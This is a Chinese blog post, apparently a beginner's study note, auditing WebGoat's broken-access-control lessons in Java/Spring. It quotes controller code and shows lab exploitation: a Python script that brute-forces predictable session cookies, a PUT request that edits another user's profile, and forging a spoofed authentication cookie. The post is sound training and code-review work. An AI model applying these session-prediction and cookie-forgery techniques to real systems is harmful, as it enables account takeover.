当前位置:首页>java>Java代码审计-WebGoat-访问控制失效

Java代码审计-WebGoat-访问控制失效

  • 2026-10-21 13:28:36
Java代码审计-WebGoat-访问控制失效

因为工作需要,需要审公司业务系统的代码内容,我其实是非常抗拒的,奈何没办法,所以有了这篇笔记。

所以,这篇文章的主题是:让一个没写过一段 java 代码的人来审 java 项目

版本 2025.3

https://github.com/WebGoat/WebGoat.gitdocker run -itd -p 8080:8080 -p 9090:9090 -e TZ=Asia/Shanghai webgoat/webgoat

个人追求

不必深究 java 的高级特性。我又不写代码,只需要大概了解代码逻辑就行,简单说,做代码审计时,只需要识别出

方法名:这是逻辑的入口

变量名:这是我们要分析的数据

调用逻辑:这是数据流向的下一个流程

WebGoat 采用的是Spring Boot 框架(我们公司的也是,所以选它)

在Spring MVC / Spring Boot 中,一条 url 是这样处理的

访问控制失效

会话劫持 Hijack a Session

黑盒层面的入口

什么是入口?这个 url 就是入口

/WebGoat/HijackSession/login

当拿到一套源码时,如何快速的找到入口路径?

在 Spring Boot 框架中 URL 映射使用以下注解

注解
说明
@RequestMapping
通用路由
@GetMapping
GET 请求
@PostMapping
POST 请求
@PutMapping
PUT 请求
@DeleteMapping
DELETE 请求

这些都是入口路由

@(Request|Get|Post|Put|Delete)Mapping

其实一般的项目,开发都会约定好规范命名,比如 service 会放在一个文件夹里,多个功能模块会分开,controller 可能会放在一个文件里等等

其它搜索技巧

方法 1 全局关键字搜索

通过 IDEA 搜索,Ccommand + Shift + F,直接搜索 url

方法 2 文件名搜索

知道大概的文件名时使用

比如搜索 "Hijack" 可能关联 HijackSessionAssignment.java,搜索 "Controller" 找到所有控制器文件

方法 3 正则表达式搜索

比如这样,根据具体的环境和内容进行调整

Controller

url 路径是业务的展现,而在项目代码中,路径指的是 Controller,它是处理 url 路由的,Controller 决定这个 url 在哪个核心 service 处理,有时候 service 的逻辑有很多漏洞,但是没有Controller ,也就没有利用的入口,可能是开发写了,但是没用到,后面也没删了,很多原因造成的。

类级别的注解:@RequestMapping 用于指定类级别路径前缀@CrossOrigin 用于跨域配置@Validated 用于数据校验

反正看这种,就是路由入口代码,有ResponseBody、RestController 、PostMapping、GetMapping之类的,还有那种带 url 的,看上去就像的,那大概率就是,如果想要完全了解,还是得系统的学 java web 开发,特别是 spring 的开发

这种就是 Controller 和 Service 混写在一起了,如果是开发水平特别高或者特别规范,就是另一种写法,比如现在规范的 RESTful 写法。

往下看这段代码

login 方法接口

定义了接口路径,使用 post 接收 username、password、CookieValue 三个参数

@PostMapping(path = "/HijackSession/login")@ResponseBodypublic AttackResult login(    @RequestParam String username,    @RequestParam String password,    @CookieValue(value = COOKIE_NAME, required = false) String cookieValue,    HttpServletResponse response)

认证

这里一个 ifelse 判断,如果 cookie isEmpty 就使用用户名和密码进行认证,并设置一个新的cookie,并response 返回给浏览器

else 如果提供了 cookie 就进行鉴权处理

Authentication authentication;if (StringUtils.isEmpty(cookieValue)) {    authentication =    provider.authenticate(        Authentication.builder().name(username).credentials(password).build());    setCookie(response, authentication.getId());} else {    authentication = provider.authenticate(Authentication.builder().id(cookieValue).build());}

在往下

认证结果调用与结果返回

if (authentication.isAuthenticated()) {    return success(this).build();}return failed(this).build();

最下面是setCookie 方法的实现

首先setCookie 是 cookie 为空的时候才生成,这个 cookie 有两部分,一部分是COOKIE_NAME、一部分是cookieValue,它的生效路径是/WebGoat,设置了一个setSecure,表示只在 https 状态下使用

另外,根据 AI 提示,这里返回 cookie 没有调用 cookie.setHttpOnly(true),如果有 xss,这个 cookie 可能被劫持,但站在另一个角度,一般的开发都不会特意注意这个细节,所以 HttpOnly 在实际业务场景中一般是在中间件 nginx 做

private void setCookie(HttpServletResponse response, String cookieValue) {    Cookie cookie = new Cookie(COOKIE_NAME, cookieValue);    cookie.setPath("/WebGoat");    cookie.setSecure(true);    response.addCookie(cookie);}

COOKIE_NAME、cookieValue

这是 Spring框架的特性,一般的项目COOKIE_NAME都是硬编码的,我也不知道为什么,AI 是这样说的

COOKIE_NAME 写死了为 hijack_cookie 字符串,这代表Spring 会去自动匹配hijack_cookie 的 value

而 cookieValue 是通过@CookieValue注解自动注入的,他们说这个叫依赖注入

找注入 value 的地方

往下看发现这里定义了一个构造函数注入 provider,在判断是否有 cookie 的时候注入,provider 是什么我也不知道,我也不写代码也不需要知道

下面就是找provider

但是provider 也没东西可以看

Service

业务层特征

而provider 来自HijackSessionAuthenticationProvider 这个文件,接着往下

HijackSessionAuthenticationProvider 里定义了一个类,也叫做HijackSessionAuthenticationProvider,这里大概看一下,应该就是 service

上面的一大段逻辑处理看不懂,往下看方法

第一个方法authenticate

大概意思就是authentication==null,返回一个AUTHENTICATION_SUPPLIER.get()

不懂这些 Java 用法,但是看名字,大概是如果authentication 为空,返回一个新生成的 session

而 GENERATE_SESSION_ID,自增 id,获取当前时间戳

接着往下,就是下一个 if

如果authentication 不是空的,就获取它,然后在sessions 列表里去匹配,匹配到就返回它自己

 if (StringUtils.isNotEmpty(authentication.getId())        && sessions.contains(authentication.getId())) {      authentication.setAuthenticated(true);      return authentication;    }

如果获取到的authentication 不为空,但是 id 为空,就分配一个新的会话 id

   if (StringUtils.isEmpty(authentication.getId())) {      authentication.setId(GENERATE_SESSION_ID.get());    }

很合理的逻辑

最后,不管怎么样,最后执行authorizedUserAutoLogin()方法

这个方法有点复杂了,大概意思是

  1. 1. 如果传入的 authentication 为 null,返回一个新的未认证的会话
  2. 2. 如果传入的 authentication 包含一个已在 sessions 队列中的 id,则将其标记为已认证
  3. 3. 如果传入的 authentication 的 id 为空,为其生成一个新ID(但不添加到 sessions 队列)
  4. 4. 无论以上哪种情况,都有 25% 的概率额外创建一个有效的认证会话

现在考虑怎么利用,这里的漏洞点事会话劫持,经过刚刚分析,传入的authentication 的 id 为空,生成一个新的且有 25%的概率获取到有效认证

利用

没有 cookie,后端返回一个新的 cookie

在发一次,2 变成了 3,和我们前面分析的 id 自增代码对应

而-后面的是时间戳,也能对应上

最开始想用了 burp 宏来测,但是老是抓不到 cookie,只匹到hijack_cookie,不知道为啥

把代码逻辑告诉 ai,让 ai 写个脚本

import requestsimport reimport timeHOST = "192.168.97.130:8080"URL = f"http://{HOST}/WebGoat/HijackSession/login"JSID = "04162C3E5A6449E0B35B06C487BE1BDC"PROXIES = {"http": "http://127.0.0.1:8080"}PARAMS = {'username': 'test', 'password': 'test'}def main():    s = requests.Session()    s.proxies = PROXIES    print("[*] 攻击开始...")    while True:        try:            # 1. 发送触发包            r = s.post(URL, params=PARAMS, cookies={"JSESSIONID": JSID}, timeout=5)            match = re.search(r'hijack_cookie=([0-9]+)-([0-9]+)', r.headers.get("Set-Cookie", ""))            if not match: continue            curr_id, curr_ts = int(match.group(1)), int(match.group(2))            # 2. 预测碰撞 (ID+1 到 ID+20)            for next_id in range(curr_id + 1, curr_id + 20):                for offset in range(-10, 150, 5):                    target_val = f"{next_id}-{curr_ts + offset}"                    res = s.post(URL, params=PARAMS,                                 cookies={"JSESSIONID": JSID, "hijack_cookie": target_val},                                 timeout=5)                    # 3. 严格判定:解析 JSON 并读取字段                    try:                        data = res.json()                        # 只有当 lessonCompleted 明确为 True 时才停止                        if data.get("lessonCompleted") is True:                            print(f"\n[!!!] 有效 Cookie: hijack_cookie={target_val}")                            return                    except:                        # 如果不是 JSON 格式则跳过                        pass                time.sleep(0.01) # 减缓压力            print(f"[*] 轮次完成,基准 ID: {curr_id}", end='\r')        except Exception:            time.sleep(1)            continueif __name__ == "__main__":    main()

不安全的对象引用 Insecure Direct Object References

先认证,后滥用授权

WebGoat/IDOR/login

大概意思是获取 username、password

如果 username 是 tom,获取 tom 的用户密码在initIDORInfo()方法里,然后匹配,能对应上就写入 session

  @PostMapping("/IDOR/login")  @ResponseBody  public AttackResult completed(@RequestParam String username, @RequestParam String password) {    initIDORInfo();    if (idorUserInfo.containsKey(username)) {      if ("tom".equals(username) && idorUserInfo.get("tom").get("password").equals(password)) {        lessonSession.setValue("idor-authenticated-as", username);        lessonSession.setValue("idor-authenticated-user-id", idorUserInfo.get(username).get("id"));        return success(this).feedback("idor.login.success").feedbackArgs(username).build();      } else {        return failed(this).feedback("idor.login.failure").build();      }    } else {      return failed(this).feedback("idor.login.failure").build();    }  }}

上面有一个初始化的操作,大概意思是初始化账户信息

  public void initIDORInfo() {    idorUserInfo.put("tom", new HashMap<String, String>());    idorUserInfo.get("tom").put("password", "cat");    idorUserInfo.get("tom").put("id", "2342384");    idorUserInfo.get("tom").put("color", "yellow");    idorUserInfo.get("tom").put("size", "small");    idorUserInfo.put("bill", new HashMap<String, String>());    idorUserInfo.get("bill").put("password", "buffalo");    idorUserInfo.get("bill").put("id", "2342388");    idorUserInfo.get("bill").put("color", "brown");    idorUserInfo.get("bill").put("size", "large");  }

登录之后这关就过了

下一关

观察差异行为

点击后会有一个这个包,获取用户信息

提交前端未显示的两个 kv 就是这个包

后端源码应该是这个

比较简单

获取 post 包,按逗号分割

然后校验 userid 和 role,用了 或,所以 userid 和 role 的顺序前后都可以,然后就完了

下一关

猜测预测模式

不理解是啥意思

WebGoat/IDOR/profile/alt-path

后端在这里

入口下有一个completed 方法,接收 url

第一个 if

获取 session,然后跟 tom 做匹配,根据注释内容,应该是检查 tom 的身份,最后把 url 路径按照 / 进行分割,结果给一个列表?

if (userSessionData.getValue("idor-authenticated-as").equals("tom")) {        // going to use session auth to view this one        String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id");        // don't care about http://localhost:8080 ... just want WebGoat/        String[] urlParts = url.split("/");

第二个 if

检查这个 url 路径的第 0 位,是不是 WebGoat,第 1 位 IDOR 等等,else 分支不知道是啥

然后userProfile new 一个对象,获取用户 id,给到UserProfile,else 分支也不知道是啥

最后返回自己

        if (urlParts[0].equals("WebGoat")            && urlParts[1].equals("IDOR")            && urlParts[2].equals("profile")            && urlParts[3].equals(authUserId)) {          UserProfile userProfile = new UserProfile(authUserId);          return success(this)              .feedback("idor.view.own.profile.success")              .output(userProfile.profileToMap().toString())              .build();        } else {          return failed(this).feedback("idor.view.own.profile.failure1").build();        }      } else {        return failed(this).feedback("idor.view.own.profile.failure2").build();      }    } catch (Exception ex) {      return failed(this).output("an error occurred with your request").build();    }

根据源码内容,返回 burp,找到profile 哪个包

已经登录 tom,提交内容通过第二个 if 内容即可,WebGoat/IDOR/profile/2342384

下一关

越权查看他人信息与编辑他人信息

点击第一个 view profile

/WebGoat/IDOR/profile/%7BuserId%7D

后端

获取用户 id,使用 id 获取用户信息

如果提交的 id 不为空,and 判断提交的 id 和authUserId 不一样

修改角色和颜色,是的,如果 id 和提交的 id 不一样,就修改颜色和角色

如果角色小于等于 1,and 获取到的颜色是 red,返回它

if (userSubmittedProfile.getUserId() != null        && !userSubmittedProfile.getUserId().equals(authUserId)) {      // let's get this started ...      currentUserProfile.setColor(userSubmittedProfile.getColor());      currentUserProfile.setRole(userSubmittedProfile.getRole());      // we will persist in the session object for now in case we want to refer back or use it later      userSessionData.setValue("idor-updated-other-profile", currentUserProfile);      if (currentUserProfile.getRole() <= 1          && currentUserProfile.getColor().equalsIgnoreCase("red")) {        return success(this)            .feedback("idor.edit.profile.success1")            .output(currentUserProfile.profileToMap().toString())            .build();      }

后面是角色大于 1,颜色为红色,平行越权

角色小于等于 1,颜色不为红色,垂直越权

if (currentUserProfile.getRole() > 1          && currentUserProfile.getColor().equalsIgnoreCase("red")) {        return failed(this)            .feedback("idor.edit.profile.failure1")            .output(currentUserProfile.profileToMap().toString())            .build();      }      if (currentUserProfile.getRole() <= 1          && !currentUserProfile.getColor().equalsIgnoreCase("red")) {        return failed(this)            .feedback("idor.edit.profile.failure2")            .output(currentUserProfile.profileToMap().toString())            .build();      }

如果都不满足,返回失败

      return failed(this)          .feedback("idor.edit.profile.failure3")          .output(currentUserProfile.profileToMap().toString())          .build();

分支

如果提交的 id 不等于空,and 提交的 id 和 authUserId 一致,返回失败,即登录的自己的账户,没有造成越权

最后一段,颜色如果是黑色,且角色小于等于 1,返回success2

else if (userSubmittedProfile.getUserId() != null        && userSubmittedProfile.getUserId().equals(authUserId)) {      return failed(this).feedback("idor.edit.profile.failure4").build();    }    if (currentUserProfile.getColor().equals("black") && currentUserProfile.getRole() <= 1) {      return success(this)          .feedback("idor.edit.profile.success2")          .output(userSessionData.getValue("idor-updated-own-profile").toString())          .build();    } else {      return failed(this).feedback("idor.edit.profile.failure3").build();    }  }}

爆破

但是我之前已经知道另一个账户的 id,所以直接测

越权查看他人信息

编辑他人信息

将包修改为 put,类型为application/json

PUT /WebGoat/IDOR/profile/2342388 HTTP/1.1Host: 192.168.97.130:8080X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0Accept: */*Content-Type: application/json; charset=UTF-8Referer: http://192.168.97.130:8080/WebGoat/start.mvc?username=adminerAccept-Encoding: gzip, deflate, brAccept-Language: zh,en-US;q=0.9,en;q=0.8,zh-CN;q=0.7Cookie: JSESSIONID=FF44B3B7F671FD94155144919CCF3FACConnection: keep-aliveContent-Length: 55{    "userId": 2342388,    "role": 0,    "color": "red"}

black 绕不过,不知道怎么绕

缺少功能级别访问控制

寻找隐藏物品

这里其实是一个前端隐藏渲染页面的漏洞

可以利用这个插件显示被 css 隐藏渲染的功能

https://github.com/Bbdolt/SeeMore

或者删掉这个hidden-menu-item,这样就能显示了

两个按钮的 url

/WebGoat/access-control/users-admin-fix

/WebGoat/access-control/config

访问 415 和 404

后端没有这两个路由的 url,但是有access-control 相关的,进去看看

简单的判断,判断提交 users 和 config 就行了

public class MissingFunctionACHiddenMenus implements AssignmentEndpoint {  @PostMapping(      path = "/access-control/hidden-menu",      produces = {"application/json"})  @ResponseBody  public AttackResult completed(String hiddenMenu1, String hiddenMenu2) {    if (hiddenMenu1.equals("Users") && hiddenMenu2.equals("Config")) {      return success(this).output("").feedback("access-control.hidden-menus.success").build();    }    if (hiddenMenu1.equals("Config") && hiddenMenu2.equals("Users")) {      return failed(this).output("").feedback("access-control.hidden-menus.close").build();    }    return failed(this).feedback("access-control.hidden-menus.failure").output("").build();  }}

懂了,是让我把 users 和 config 填进去

下一关

收集用户信息

点击 hash

后端代码

接收用户 hash,在用户数据库中去查找Jerry,使用Jerry 的盐来进行计算

验证两个 hash 是否一致

 @PostMapping(      path = "/access-control/user-hash",      produces = {"application/json"})  @ResponseBody  public AttackResult simple(String userHash) {    User user = userRepository.findByUsername("Jerry");    DisplayUser displayUser = new DisplayUser(user, PASSWORD_SALT_SIMPLE);    if (userHash.equals(displayUser.getUserHash())) {      return success(this).feedback("access-control.hash.success").build();    } else {      return failed(this).build();    }  }}

跟进userRepository,看不懂,跳过,大概意思就是匹配到一样的 hash 就行

public class MissingFunctionACYourHash implements AssignmentEndpoint {  private final MissingAccessControlUserRepository userRepository;  public MissingFunctionACYourHash(MissingAccessControlUserRepository userRepository) {    this.userRepository = userRepository;  }

回到刚刚 admin 选项上的两个按钮上

admin404

users-admin-fix 是 415

找到对应后端代码

需要 json 格式,直接返回用户列表,根据当前登录名从数据库查询用户信息

如果用户不是空的且是 admin,Response

但是我还是没有管理员权限

  @GetMapping(      path = {"access-control/users-admin-fix"},      consumes = "application/json")  @ResponseBody  public ResponseEntity<List<DisplayUser>> usersFixed(@CurrentUsername String username) {    var currentUser = userRepository.findByUsername(username);    if (currentUser != null && currentUser.isAdmin()) {      return ResponseEntity.ok(          userRepository.findAllUsers().stream()              .map(user -> new DisplayUser(user, PASSWORD_SALT_ADMIN))              .collect(Collectors.toList()));    }    return ResponseEntity.status(HttpStatus.FORBIDDEN).build();  }

往上看,MissingFunctionACUsers.java 文件里还有另一个接口,直接返回 user 列表

得到用户列表

后端

就是一个 hash 计算

最后一个问题

这个接口就是/WebGoat/access-control/user-hash-fix,刚刚已经看了,是要匹配是否为 admin 的,没啥问题

欺骗身份验证 Cookie

/WebGoat/SpoofCookie/login

后端入口

获取用户名、密码、cookie

如果 cookie 为空,返回credentialsLoginFlow函数处理

如果有 cookie,返回cookieLoginFlow 函数处理

  @PostMapping(path = "/SpoofCookie/login")  @ResponseBody  @ExceptionHandler(UnsatisfiedServletRequestParameterException.class)  public AttackResult login(      @RequestParam String username,      @RequestParam String password,      @CookieValue(value = COOKIE_NAME, required = false) String cookieValue,      HttpServletResponse response) {    if (StringUtils.isEmpty(cookieValue)) {      return credentialsLoginFlow(username, password, response);    } else {      return cookieLoginFlow(cookieValue);    }  }

credentialsLoginFlow

  private AttackResult credentialsLoginFlow(      String username, String password, HttpServletResponse response) {    String lowerCasedUsername = username.toLowerCase();    if (ATTACK_USERNAME.equals(lowerCasedUsername)        && users.get(lowerCasedUsername).equals(password)) {      return informationMessage(this).feedback("spoofcookie.cheating").build();    }    String authPassword = users.getOrDefault(lowerCasedUsername, "");    if (!authPassword.isBlank() && authPassword.equals(password)) {      String newCookieValue = EncDec.encode(lowerCasedUsername);      Cookie newCookie = new Cookie(COOKIE_NAME, newCookieValue);      newCookie.setPath("/WebGoat");      newCookie.setSecure(true);      response.addCookie(newCookie);      return informationMessage(this)          .feedback("spoofcookie.login")          .output(String.format(COOKIE_INFO, lowerCasedUsername, newCookie.getValue()))          .build();    }    return informationMessage(this).feedback("spoofcookie.wrong-login").build();  }

进来后先进行小写转换,然后进入一个 if 判断

做一个匹配,如果用户名是 tom,和 tom 的密码

返回信息,信息内容暂时不知道

下一个 if

首先做了一个获取用户列表的操作,用户列表在上面有定义

取出列表里的用户进行判断,不为空,密码正确的,进行加密

创建要给 cookie 对象,设置 cookie 的作用域,返回给浏览器

cookieLoginFlow 方法

这个方法是有 cookie 时处理的

也就是这一段内容

大概意思就是,取 cookie,解密

如果解出来的 cookie 跟 tom 一致,判断成功

如果解出来的 cookie 不是 tom 的,返回什么什么

 private AttackResult cookieLoginFlow(String cookieValue) {    String cookieUsername;    try {      cookieUsername = EncDec.decode(cookieValue).toLowerCase();    } catch (Exception e) {      // for providing some instructive guidance, we won't return 4xx error here      return failed(this).output(e.getMessage()).build();    }    if (users.containsKey(cookieUsername)) {      if (cookieUsername.equals(ATTACK_USERNAME)) {        return success(this).build();      }      return failed(this)          .feedback("spoofcookie.cookie-login")          .output(String.format(COOKIE_INFO, cookieUsername, cookieValue))          .build();    }    return failed(this).feedback("spoofcookie.wrong-cookie").build();  }

大概看懂了,不能用 tom 的账户密码登录获取 cookie,但是要使用 tom 的 cookie 进行登录

在看一眼这个加解密,它是导入的

它是一个类

它里面有 7 个方法

先看加密

取到值后,转小写+SALT,SALT 不知道是个啥

然后反转,hex,最后给到base64Encode 方法,这个名字一看就是转为 base64

  public static String encode(final String value) {    if (value == null) {      return null;    }    String encoded = value.toLowerCase() + SALT;    encoded = revert(encoded);    encoded = hexEncode(encoded);    return base64Encode(encoded);  }

往上看,SALT 原来是生成 10 位的随机字符串

解密方法

也就是加密反过来就行了

hex 转字符串,反转,最后截取了后面部分

  public static String decode(final String encodedValue) throws IllegalArgumentException {    if (encodedValue == null) {      return null;    }    String decoded = base64Decode(encodedValue);    decoded = hexDecode(decoded);    decoded = revert(decoded);    return decoded.substring(0, decoded.length() - SALT.length());  }

其它就不看了,其它的都是些 base64 加解码、hex 加解码操作

利用

webgoat 的 cookie 解出来是这玩意 ZtvpnKKYIytaogbew,最后反转一下就是 webgoatyIYKKnpvtZ,也就是用户名+10 个随机字符串

admin 的 cookie

adminyIYKKnpvtZ

发现后面 10 位是一样的

tomyIYKKnpvtZ

反转 tom

hex

base64

成功伪造

为什么随机生成的 cookie 会固定,后面了解了下

这段随机字符串生成,使用的是static 静态常量,可以理解为它只在整个 web 程序启动的时候执行一次生成 10 个字符串,后面就不会执行了,所以每次web启动的时候会有10个字符串,重启后才会更新这个字符串

  private static final String SALT = RandomStringUtils.randomAlphabetic(10);
好了,我感觉我现在强的可怕,可以审审公司的项目代码了

最新文章

随机文章